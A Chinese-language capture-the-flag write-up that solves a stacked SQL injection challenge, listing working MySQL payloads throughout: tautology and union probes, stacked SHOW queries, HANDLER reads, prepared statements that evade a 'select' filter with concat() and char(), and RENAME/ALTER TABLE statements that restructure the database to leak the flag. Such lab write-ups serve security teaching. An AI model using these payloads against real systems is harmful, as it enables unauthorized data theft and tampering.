知识点
堆叠注入
handler语句
预编译处理
alter、rename语句
开始
先随便注入一个万能语句看看。1'or 1=1#
有回应但没获取什么有效信息我们继续看一下回显数。1' order by 3#
发现回显数是2。我们再看一下回显位置。1' union select 1,2 #
我们发现select被过滤了,于是我们无法使用联合查询语句了。
这是后我们可以试试功能性更强的堆叠注入能否使用。
我们直接看表 1';show tables #
我们对两个表分别查询。
注:
1在windows系统中当是数据库、表、字段名时,我们应用反单引号将数字括起来,而单引号和双引号用与字符串。在linux系统中我们对单引号和反单引号不做区分。
2一般以数字命名的数据库、表、字段是要用引号括起来的。
1'; show columns from words #
1'; show columns from `1919810931114514` #
我们在1919810931114514表中发现了flag字段。
因为select被过滤我们得想新的办法来读取flag的内容。
法一 handler
这个方法最为直接。使用handler打开并读取。
1' ;handler `1919810931114514` open; handler `1919810931114514` read first #
法二 预编译处理
应用堆叠语句+预编译处理我们可以对select进行处理。
处理方法1 使用concat()语句将分开的select再合并。
1';
set @sql=concat('s','elect','*from `1919810931114514`');
prepare a from @sql;
execute a;#
定义语句 预执行 执行
结果我们得到了这样的反馈。经过查找发现strstr()是区分大小写的于是我们改一下set和prepare的大小写试试。
1';
Set @sql=concat('s','elect','*from `1919810931114514`');
Prepare a from @sql;
execute a;#
成功。
处理方法2 我们可以用concat()连接并用char()将select对应的ASCII码的数字转化为select。
1';
Set @sql=concat(char(115,101,108,101,99,116),'*from `1919810931114514`');
Prepare a from @sql;
execute a;#
成功。
法三 万能注入语句与username和password相关。
由于我们最开始在使用万能注入语句时有反应并且我们在words表中发现了id字段。
那我们可知在使用万能注入语句时,应出的是id的内容。
如果我们将id的名字给了flag,将words的名字给了1919810931114514,那么我们再使用万能注入语句后获得的不就是flag的内容了吗。
1';
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) ;#
修改完后我们输入万能密码查看回显。
成功。